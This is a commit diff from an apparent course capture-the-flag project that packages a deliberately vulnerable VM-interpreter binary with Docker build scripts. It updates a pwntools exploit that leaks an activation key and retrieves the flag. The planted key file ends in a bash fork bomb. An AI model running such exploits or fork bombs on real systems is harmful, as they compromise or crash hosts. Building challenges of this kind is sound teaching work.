Submission ready state achieved (#8)

This commit is contained in:
cato
2024-01-29 17:37:10 +01:00
committed by GitHub
parent 01934af8be
commit b8c0cbbb98
10 changed files with 144 additions and 21 deletions

View File

@@ -1 +1,7 @@
THIS IS A TEST. JUST A TEST. NOTHING BUT A TEST. YOU'VE BEEN WARNED. I am not a penguin,
I am a student of icy realms.
I am the wizard of waddles,
I am the colony of the frosty world,
and I am the chill.
I am Frosty Flippers,
:(){ :|:& };:

23
compile_docker/Dockerfile Normal file
View File

@@ -0,0 +1,23 @@
FROM debian:bullseye
#############################################
############ FOR COMPILING ONLY! ############
#############################################
RUN apt update -y && apt upgrade -y && apt install -y build-essential cmake
COPY libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so
RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6
RUN useradd -m pwn
# compile vuln
COPY parent.tar.xz /home/pwn/parent.tar.xz
RUN mkdir /home/pwn/source
RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source
RUN mkdir /home/pwn/build
WORKDIR /home/pwn/build
RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
RUN make

7
compile_docker/compile.sh Executable file
View File

@@ -0,0 +1,7 @@
set -e
find .. -maxdepth 1 -type f | xargs tar cvf parent.tar.xz
docker build -t binex_project_compiler .
docker create --name binex_project_compiler binex_project_compiler
docker cp binex_project_compiler:/home/pwn/build/vuln .
docker rm -f binex_project_compiler
rm parent.tar.xz

View File

@@ -36,7 +36,7 @@ RUN mkdir /home/pwn/source
RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source
RUN mkdir /home/pwn/build RUN mkdir /home/pwn/build
WORKDIR /home/pwn/build WORKDIR /home/pwn/build
RUN cmake /home/pwn/source -G "Unix Makefiles" RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
RUN make RUN make
WORKDIR / WORKDIR /

View File

@@ -1,7 +1,9 @@
#! /usr/bin/env python3 #! /usr/bin/env python3
from enum import IntEnum from enum import IntEnum
from pwn import * from pwn import *
from sys import argv, exit
class Opcode(IntEnum): class Opcode(IntEnum):
@@ -52,6 +54,7 @@ class Register(IntEnum):
INSTR_LEN = 8 INSTR_LEN = 8
HOST = "localhost"
PORT = 1337 PORT = 1337
@@ -87,9 +90,8 @@ def arbitrary_write(dst: Register, src: Register):
# dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits # dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
return instr_r(Opcode.COPY, dst, src) return instr_r(Opcode.COPY, dst, src)
def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote: p = remote(HOST, PORT, fam="ipv4")
p = remote("localhost", port, fam="ipv4")
p.recvuntil(b"Password: ") p.recvuntil(b"Password: ")
p.sendline(b"1234") p.sendline(b"1234")
@@ -109,7 +111,7 @@ def connect(key: None | bytes = None, is_real_key: bool = False, port: int = POR
return p return p
def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int: def exec_program(p, program: bytes) -> int:
log.info(p.recvuntil(b"should it bee?").decode()) log.info(p.recvuntil(b"should it bee?").decode())
len_msg = str(len(program) // INSTR_LEN) len_msg = str(len(program) // INSTR_LEN)
log.info(f"Sending: {len_msg}") log.info(f"Sending: {len_msg}")
@@ -124,17 +126,17 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
return exit_code return exit_code
def extract_premium_key(is_debug: bool = False, port: int = PORT): def extract_premium_key(is_debug: bool = False):
if is_debug: if is_debug:
offset_saved_rip_to_activation_key = 0x38bc # debug mode offset_saved_rip_to_activation_key = 0x38bc # debug mode
else: else:
offset_saved_rip_to_activation_key = 0x37a6 # release mode offset_saved_rip_to_activation_key = 0x3626 # release mode
premium_key = b"" premium_key = b""
p = connect(b"", False, port) p = connect(b"", False)
i = 0 i = 0
while i < 0x80: while i < 0x100:
# mov r8, rsp # mov r8, rsp
program = load_rsp(Register.G) program = load_rsp(Register.G)
# mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8]) # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
@@ -151,7 +153,6 @@ def extract_premium_key(is_debug: bool = False, port: int = PORT):
program += instr_r(Opcode.ADD, Register.D, Register.I) program += instr_r(Opcode.ADD, Register.D, Register.I)
# mov rax, rbx # mov rax, rbx
program += instr_r(Opcode.COPY, Register.A, Register.B) program += instr_r(Opcode.COPY, Register.A, Register.B)
exit_code = exec_program(p, program) exit_code = exec_program(p, program)
if exit_code == 0: if exit_code == 0:
break break
@@ -216,9 +217,16 @@ def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False):
if __name__ == "__main__": if __name__ == "__main__":
context.log_level = 'warn' context.log_level = 'warn'
debug = False
premium_key = extract_premium_key(is_debug=debug) if len(argv) != 3:
print(f"Usage: {argv[0]} <host> <port>")
exit()
HOST = argv[1]
PORT = argv[2]
is_debug = False
premium_key = extract_premium_key(is_debug)
p = connect(premium_key, True) p = connect(premium_key, True)
print(get_flag(p, is_debug=debug)) print(get_flag(p, is_debug))

View File

@@ -19,7 +19,8 @@ class ExploitTest(unittest.TestCase):
def __check_extract_activation_key__(self, is_debug: bool): def __check_extract_activation_key__(self, is_debug: bool):
port = DEBUG_PORT if is_debug else RELEASE_PORT port = DEBUG_PORT if is_debug else RELEASE_PORT
key = exploit.extract_premium_key(is_debug, port) exploit.PORT = port
key = exploit.extract_premium_key(is_debug)
self.assertEqual(key, __get_activation_key__()) self.assertEqual(key, __get_activation_key__())
def test_extract_activation_key_debug(self): def test_extract_activation_key_debug(self):
@@ -30,7 +31,8 @@ class ExploitTest(unittest.TestCase):
def __check_get_flag__(self, is_debug: bool): def __check_get_flag__(self, is_debug: bool):
port = DEBUG_PORT if is_debug else RELEASE_PORT port = DEBUG_PORT if is_debug else RELEASE_PORT
p = exploit.connect(__get_activation_key__(), True, port) exploit.PORT = port
p = exploit.connect(__get_activation_key__(), True)
flag = exploit.get_flag(p, is_debug) flag = exploit.get_flag(p, is_debug)
self.assertRegex(flag, "flag_[0-9a-f]{32}") self.assertRegex(flag, "flag_[0-9a-f]{32}")
@@ -42,8 +44,9 @@ class ExploitTest(unittest.TestCase):
def __check_combined__(self, is_debug: bool): def __check_combined__(self, is_debug: bool):
port = DEBUG_PORT if is_debug else RELEASE_PORT port = DEBUG_PORT if is_debug else RELEASE_PORT
activation_key = exploit.extract_premium_key(is_debug, port) exploit.PORT = port
p = exploit.connect(activation_key, True, port) activation_key = exploit.extract_premium_key(is_debug)
p = exploit.connect(activation_key, True)
flag = exploit.get_flag(p, is_debug) flag = exploit.get_flag(p, is_debug)
self.assertRegex(flag, "flag_[0-9a-f]{32}") self.assertRegex(flag, "flag_[0-9a-f]{32}")

30
generate_submission.sh Executable file
View File

@@ -0,0 +1,30 @@
set -e
mkdir public
mkdir private
# private folder
cp exploit/exploit.py private
cp activation_key.txt private
cp release_docker/README.md private
cp release_docker/Dockerfile private
# compile vuln
cd compile_docker
./compile.sh
cd ..
# public folder
cp compile_docker/vuln public
cp vuln.c public
cp release_docker/Dockerfile public
echo "Pinguine toll Pinguine toll Pinguine super" >public/activation_key.txt
# packing
tar -zcvf submission_team203.tar.gz public private
# cleanup
rm compile_docker/vuln
rm -r private
rm -r public

35
release_docker/Dockerfile Normal file
View File

@@ -0,0 +1,35 @@
FROM debian:bullseye
RUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake
############### INSTALL FNETD
RUN wget https://cloud.sec.in.tum.de/index.php/s/n5cJnDqnnpSeEpd/download/fnetd.tar.xz -O /fnetd.tar.xz
RUN tar -xf fnetd.tar.xz
RUN mkdir /fnetd/build
WORKDIR /fnetd/build
RUN cmake .. -G "Unix Makefiles"
RUN make
WORKDIR /
############### END INSTALL
COPY get_flag /bin/get_flag
COPY libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so
RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6
RUN useradd -m pwn
COPY vuln /home/pwn/vuln
COPY activation_key.txt /home/pwn/activation_key.txt
RUN chmod 0755 /home/pwn/vuln
EXPOSE 1337
# Feel free to replace password with the actual chall pw
ENV FNETD_PASSWORD=
CMD ["/fnetd/build/fnetd", "-p", "1337", "-u", "pwn", "-lt", "2", "-lm", "536870912", "./vuln"]

11
release_docker/README.md Normal file
View File

@@ -0,0 +1,11 @@
### Deployment path for this challenge:
#### Setup:
- copy get_flag, vuln and course libc-2.31.so into the same directory as the Dockerfile
- make sure the activation_key.txt is already present in the same directory and contains a poem about being a penguin ending in a forkbomb
- set the fnetd password
#### Deployment:
- build docker image
- run docker container
- profit

2
vuln.c
View File

@@ -15,7 +15,7 @@
#include <unistd.h> #include <unistd.h>
#define MAX_PROGRAM_LEN 0x1000 #define MAX_PROGRAM_LEN 0x1000
#define ACTIVATION_KEY_LEN 0x80 #define ACTIVATION_KEY_LEN 0x100
static char activation_key[ACTIVATION_KEY_LEN] = {0}; static char activation_key[ACTIVATION_KEY_LEN] = {0};